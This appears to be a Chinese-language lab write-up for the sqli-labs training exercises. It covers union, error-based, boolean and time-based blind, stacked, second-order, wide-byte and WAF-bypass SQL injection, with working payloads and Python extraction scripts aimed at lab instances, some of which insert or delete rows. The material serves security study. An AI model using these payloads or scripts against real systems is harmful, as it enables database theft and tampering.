字符型
Less-1
步骤
- 列数
?id=1‘ order by 3--+
- 库名
?id=-1‘ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
- 表名
?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining‘--+
- 列名
?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘ctftraining‘ and table_name=‘flag‘--+
- flag
?id=-1‘ union select 1,2,flag from ctftraining.flag--+
Less-3
进阶,在拼接语句中多添加了‘()‘
步骤
- 列数
?id=1‘) order by 3--+
- 库名
?id=-1‘) union select 1,2,group_concat(schema_name) from information_schema.schemata--+
后面的类似,不多重复
Less-4
进阶,将原来拼接的单引号改为双引号,再拼接‘()‘
- 列数
?id=1") order by 3--+
- 库名
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+
后面的类似,不多重复
数字型
Less-2
步骤
- 列数
?id=1 order by 3--+
- 库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
- 表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining‘--+
- 列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘ctftraining‘ and table_name=‘flag‘--+
- flag
?id=-1 union select 1,2,flag from ctftraining.flag--+
布尔盲注
Less-5
没有任何回显,输入单引号报错,拼接语句应有单引号
- 库名
这里使用Python脚本进行猜解
import requests
def getHTMLText(url):
try:
r = requests.get(url)
r.raise_for_status()
r.encoding = r.apparent_encoding
return r.text
except:
return ‘爬取失败‘
def getLength(j):
for i in range(1,20):
url = ‘http://fcecceff-1c82-4f14-9fe2-bb0a6b60c20b.node3.buuoj.cn/Less-5/?id=1\‘ and (select length(schema_name) from information_schema.schemata limit {},1)={}--+‘
url = url.format(j,i)
text = getHTMLText(url)
if(‘You are in...........‘ in text):
return i
if __name__ == ‘__main__‘:
for n in range(0,10):
length = getLength(n)
name = ‘‘
for l in range(1,length+1):
for str in range(33,127):
url = ‘http://fcecceff-1c82-4f14-9fe2-bb0a6b60c20b.node3.buuoj.cn/Less-5/?id=1\‘ and (left((select schema_name from information_schema.schemata limit {},1),{}))=\‘{}\‘--+‘
payload = name + chr(str)
url = url.format(n,l,payload)
r = getHTMLText(url)
if(‘You are in...........‘ in r):
name = name + chr(str)
break
print(name)
后面只需稍作修改即可,不多重复
Less-6
**进阶,这里拼接语句将单引号改为双引号
脚本如上
Less-8
和Less-5一样
放一个比较好的脚本
库名
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-8/‘
url+=‘?id=-1\‘ or (substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=\‘{1}\‘) -- -‘
reply=‘You are in...........‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
Less-25a
这里过滤了or和and,而且还是数字型
将之前的脚本修改一下
- 库名
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://75f5465e-6c80-4b35-baaf-13161e249877.node3.buuoj.cn/Less-25a/‘
url+=‘?id=-1 oorr (substring((select group_concat(schema_name) from infoorrmation_schema.schemata),{0},1)=\‘{1}\‘) --+‘
reply=‘Dumb‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
Less-26a
过滤的东西和之前一样,不过似乎不能用‘&&‘,只能通过双写注入
放个脚本,输入结果随机,很奇怪
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://012ee994-1889-46fb-90e2-3e5896763dac.node3.buuoj.cn/Less-26a‘
url+=‘?id=1\‘)aandnd(substring((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{0},1)=\‘{1}\‘)aandnd(\‘1\‘)=(\‘1‘
reply=‘Dumb‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
Less-27a
这题和上题差不多,区别是这题将单引号改为了双引号
- 库名
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://136b5b61-7024-401a-9b7f-f23238779ba0.node3.buuoj.cn/Less-27a/‘
url+=‘?id=1"and(substring((SElect(group_concat(schema_name))from(information_schema.schemata)),{0},1)=\‘{1}\‘)and"1"="1‘
reply=‘Dumb‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
后面类似,不再重复
Less-28a
这里就是加了个括号,脚本里添加就行,不放脚本了
不过很奇怪的是,Less-28同样的payload却没有报错
时间盲注
Less-9
写脚本猜解
- 库名
import requests
import string
url=‘http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-9/‘
url+=‘?id=1\‘ and (select case when (substring((select group_concat(schema_name) from information_schema.schemata) from {0} for 1)=%27{1}%27) then sleep(2) else 1 end)-- -‘
mystring=string.printable
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
try:
response=requests.get(url.format(count,char),timeout=2)
except requests.exceptions.ReadTimeout:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘result: ‘+result)
break
if ‘+++‘ in result:
print(‘result: ‘+result)
break
count+=1
后面类似,不多重复
Less-10
**进阶,将拼接语句的单引号改为双引号
- 库名
import requests
import string
url=‘http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-10/‘
url+=‘?id=1" and (select case when (substring((select group_concat(schema_name) from information_schema.schemata) from {0} for 1)=%27{1}%27) then sleep(2) else 1 end)-- -‘
mystring=string.printable
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
try:
response=requests.get(url.format(count,char),timeout=2)
except requests.exceptions.ReadTimeout:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘result: ‘+result)
break
if ‘+++‘ in result:
print(‘result: ‘+result)
break
count+=1
Less-15
进阶,用POST的方式提交
放出Python脚本,这里需要每个库的查
- 库名
import requests
#uname=‘ )or (select substr((select database()),1,1))=‘s‘ # &passwd=1
url = "http://aa1fefa1-4442-4af0-9f92-185f3cda669a.node3.buuoj.cn/Less-15/"
name =""
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = "uname=-1‘ or (select length(schema_name) from information_schema.schemata limit 0,1)={0} #"
database_name_payload = "uname=-1‘ or (select substr((select schema_name from information_schema.schemata limit 0,1),{0},1))=‘{1}‘ # &passwd=1"
def get_response(payload,value,*args):
if len(args)==0:
payload=payload.format(value)
data = {‘uname‘: payload, ‘passwd‘: ‘1‘}
else:
payload = payload.format(value,args[0])
data = {‘uname‘: payload, ‘passwd‘: ‘1‘}
print(data)
html = requests.post(url, data=data)
if "flag.jpg" in html.text:
return True
else:
return False
for n in range(100):
if get_response(database_length_payload,n):
print("[+] database_length is {0}".format(n) )
database_length=n
break
for nn in range(1,database_length+2):
for v in "qwertyuioplkjhgfdsazxcvbnm_":
if get_response(database_name_payload,nn,v):
name =name+v
print("[+] database name is {0}".format(name))
break
print("[*] database name is {0}".format(name))
Less-16
这里拼接语句将单引号改为双引号
脚本有上面类似,不做重复
报错注入
Less-11
这个是以POST方式传参,找到注入点,是在password
处
- 库名
1‘ and extractvalue(‘1‘,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata)))#
长度有限制,可以通过limit调整一下
- 表名
1‘ and extractvalue(‘1‘,concat(‘~‘,(select group_concat(table_name) from information_schema.tables)))#
- 列名
1‘ and extractvalue(‘1‘,concat(‘~‘,(select group_concat(column_name) from information_schema.columns)))#
- flag
1‘ and extractvalue(‘1‘,concat(‘~‘,(select flag from ctftraining.flag)))#
这里长度受到限制,使用limit获取全部信息
Less-12
**进阶,将拼接语句的单引号改成双引号,再添加了一个‘()‘
- 库名
1") and extractvalue(‘1‘,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata))#
后面类似,不再重复
Less-13
进阶,拼接语句添加了一个‘()‘
这是sql的查询语句
@$sql="SELECT username, password FROM users WHERE username=(‘$uname‘) and password=(‘$passwd‘) LIMIT 0,1";
- 库名
1‘) and extractvalue(‘1‘,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata))) and (‘
后面类似,不再重复
Less-14
进阶,这里拼接语句为双引号,没有‘()‘
sql查询语句与上面类似
- 库名
1" and extractvalue(‘1‘,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata))) and "
后面类似,不再重复
Less-17
进阶,这里用的是updatexml
报错注入,这里的长度也会受到限制
- 库名
1‘ and updatexml(‘1‘,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata)),‘1‘)#
后面的类似,不再重复
Less-23
进阶,过滤了所有的注释
这里可以通过闭合后面的语句,不通过注释的方法
- 库名
1‘ and extractvalue(1,concat(‘~‘,(select group_concat(schema_name) from information_schema.schemata))) and ‘1‘=‘1
后面的类似,不再重复
Less-25
进阶,这里过滤了or和and
因为这里用到了preg_replace
函数,所以通过双写的方式进行注入。要注意的是在information
和password
中存在or,所以也应该进行双写进行绕过
若非一次性过滤,就可以考虑一些变形:
- 大小写:or=Or=OR=oR
- 利用运算符:or=||,and=&&
- URL编码:#=%23,~=0x7e
- 添加注释:\*or*\
- 库名
1‘ aandnd extractvalue(1,concat(‘~‘,(select group_concat(schema_name) from infoorrmation_schema.schemata)))--+
也可以通过联合注入的方式注入
Less-26
这里过滤了很多东西,过滤了‘#‘,‘*‘,‘or‘,‘and‘,‘--‘,‘‘,‘/‘,空格
因为过滤了空格,只好用报错注入,因为空格少,并且可以用‘()‘代替空格,or和and可以分别用‘||‘,‘&&‘。实验了一下,双写也是可以绕过的,中间可以不需要空格
- 库名
1‘||(extractvalue(1,concat(‘~‘,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)))||‘1‘=‘1
- 表名
1‘||(extractvalue(1,concat(‘~‘,(select(group_concat(table_name))from(information_schema.schemata)where(table_schema=‘ctftraining‘))))))||‘1‘=‘1
- 列名
1‘||(extractvalue(1,concat(‘~‘,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=‘ctftraining‘)anandd(table_name=‘flag‘)))))||‘1‘=‘1
不过有些地方的双写不能绕过过滤,暂时不清楚原因
Less-27
这里过滤了‘\*‘,‘--‘,‘#‘,空格,‘union‘,‘select‘,‘UNION‘,‘SELECT‘,‘Union‘,‘Select‘
过滤的比较多,用报错注入
1‘and(extractvalue(1,concat(‘~‘,(SElect(group_concat(schema_name))from(information_schema.schemata)))))and‘1‘=‘1
这里的and
不能用&&替代,离谱。后面的类似,就不再重复了
二次注入
Less-24
**这里先注册一个用户名为admin‘#
的账号,登录该账号进行修改密码的时候,sql语句会变成
UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘#‘ AND password=‘
也就相当于执行了
UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘#
修改的账号就变为了admin
的账号
存在WAF题
Less-29
这里先讲一下,服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
通俗一点就是前面的参数在tomcat服务器出做数据过滤和处理,类似于一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP。
所以这里可以传两个参数,一个绕过WAF,后面一个用于攻击
?id=1&id=-1‘ union select database()--+
后面就是 最简单的注入了
Less-30
这里的原因和上面相同,区别是这道题没有回显,且闭合符号是双引号
脚本如下:
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://266606d4-0314-4571-9d00-77cef66d58d9.node3.buuoj.cn/Less-30/‘
url+=‘?id=1&id=1" and substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=\‘{1}\‘--+‘
reply=‘Dumb‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
Less-31
3道题一个套路,这道题是双引号+‘()‘的形式
脚本与上面类似,修改一下即可
宽字节注入
Less-32
源码中写了一个check_addslashes()函数对一些字符进行转义
function check_addslashes($string)
{
$string = preg_replace(‘/‘. preg_quote(‘\\‘) .‘/‘, "\\\\\\", $string); //escape any backslash
$string = preg_replace(‘/\‘/i‘, ‘\\\‘‘, $string); //escape single quote with a backslash
$string = preg_replace(‘/\"/‘, "\\\"", $string); //escape double quote with a backslash
return $string;
}
因为这里使用的是gbk
编码,所以可以在转义的字符前加上%df
,就可以跳出转义限制
- 库名
-1%df‘ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
后面类似就不再重复
Less-33
这道题与上道题一样,转义函数的源码不一样
所以和上道题一样的payload,不再重复
Less-34
这题使用的POST的方式提交的,因为POST不像GET方式会自动对url进行转码,所以payload和之前不一样,这里用到的是‘UTF-8‘转为‘UTF-16‘的方式,不过暂时还没有搞懂
- 库名
-1?‘ union select 1,group_concat(schema_name) from information_schema.schemata#
后面就不再重复了
Less-35
这题是数字型的注入,所以不存在单引号完全可以绕过转义函数,所以可以直接进行注入且没有任何过滤
Less-36
这题的转义函数换了一个,变成了mysql_real_escape_string()
,意思差不多
- 库名
-1%df‘ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
后面不再重复
Less-37
还是换汤不换药,换了个函数,意思还是一样的
-1%df‘ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
不再重复
堆叠注入
Less-38
这里最关键的是mysqli_multi_query()
这个函数,它可以执行一个或多个对数据库的查询,用分号隔开
这里后面的语句好像不可以爆数据,那就执行插入操作
-1‘ union select 1,2,group_concat(username) from users;insert into users values(18,‘zeng‘,‘zeng‘)--+
Less-39
这道题是数字型的,payload和上面一样
不再重复了
Less-40
这道题写的布尔盲注,不过貌似都可以,那就按它的来。它的闭合语句是单引号+‘()‘
Python脚本如下,插入‘zeng1‘
import requests
import string
mystring = string.printable #所有可见字符
url=‘http://95f5769f-1fc4-4e1c-ab68-9c6c53601935.node3.buuoj.cn/Less-40/‘
url+=‘?id=1\‘) and substring((select group_concat(username) from users),{0},1)=\‘{1}\‘;insert into users values(19,\‘zeng1\‘,\‘zeng1\‘)--+‘
reply=‘Dumb‘
print(url)
count = 1
result = ‘‘
while(True):
temp_result=result
for char in mystring:
response=requests.get(url.format(count,char))
#print(url.format(count,char))
if bytes(reply,‘UTF-8‘) in response.content:
result+=char
print(result+‘......‘)
break
if result==temp_result:
print(‘Complete!‘)
break
if ‘+++‘ in result:
# result有时候以很多+结尾,我还没搞清楚为什么
print(‘result: ‘+result[0:-3])
break
count+=1
Less-41
这道题是数字型的注入,脚本一样,不再重复了
Less-42
这道题在username处不报错,在password处报错,所以可以在password处注入
这里我们删除一个字段
1‘;delete from users where username=‘zeng‘--+
Less-43
这里拼接语句加了括号,其他一样,就不再重复了
Order by注入
Less-46
这题的拼接语句为:
$sql = "SELECT * FROM users ORDER BY $id";
所以联合注入一些和堆叠注入用不了,只能使用报错注入
1 and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))--+
后面不再重复
Less-47
这道题拼接语句多了单引号,其它一样
payload和上面差不多不再重复了
Less-48
这道题没有回显使用布尔盲注,这里的布尔盲注比较特殊,要用到rand()
函数,因为rand()
在值为true或flase时不同,不过脚本不太好写,用时间盲注比较方便
rand
函数的布尔盲注
rand(left((select group_concat(schema_name) from information_schema.schemata),1)=‘i‘)--+
脚本还没有成功,先放着
Less-49
这道题是字符型的注入,和上题一样
Less-50
这道题是数字型+堆叠注入,插入数据试一下
1;insert into users values(9,‘zeng‘,‘zeng‘)--+
Less-51
**这道题是字符型的注入,payload和上面类似,就不再重复了
Less-52
这道题可以插入数据,也可以布尔盲注,和上面一样,不知道在考什么
布尔盲注
插入数据
Less-53
这道题是字符型的,其它和上面一样
不再重复了
限制次数
Less-54
这道题是字符型注入,只不过被限制了注入次数
- 库名
-1‘ union select 1,2,group_concat(schema_name) from information_schema.schemata--+
- 表名
-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘--+
- 字段名
-1‘ union select 1,2,group_concat(column_name) from information_schema.columns
where table_schema=‘challenges‘ and table_nam=‘354H7B3C3G‘--+
- 密码
-1‘ union select 1,2,secret_EPGP from challenges.354H7B3C3G--+
Less-55
这题是数字型的,并且闭合语句加了‘()‘,其它和上面一样,不再重复了
Less-56
这题是字符型的,和上面一样,不再重复
Less-57
这题闭合语句是双引号,不再重复
Less-58
这题很特殊,它把所有用户名都放在了一个数组中
if($row)
{
echo ‘<font color= "#00FFFF">‘;
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo ‘Your Login name : ‘. $unames[$row[‘id‘]];
echo "<br>";
echo ‘Your Password : ‘ .$pass[$row[‘id‘]];
echo "</font>";
}
所以一般的联合注入不行,这题用报错注入,不再重复
Less-59
这题是数字型的,其它没区别,不再重复
Less-60
这题闭合符号位双引号,其它没区别,不再重复
Less-61
这题闭合符号位单引号再嵌套两个括号,其它一样不再重复
Less-62
这题是盲注且闭合语句为单引号+‘()‘,不存在过滤,但是因为存在注入次数限制,最好用二分法查询最快,脚本就不放了
Less-63
这题闭合语句是单引号,其它一样
Less-64
这题数字型且嵌套了两个‘()‘,其它一样
Less-65
这题只嵌套了一个‘()‘,其它一样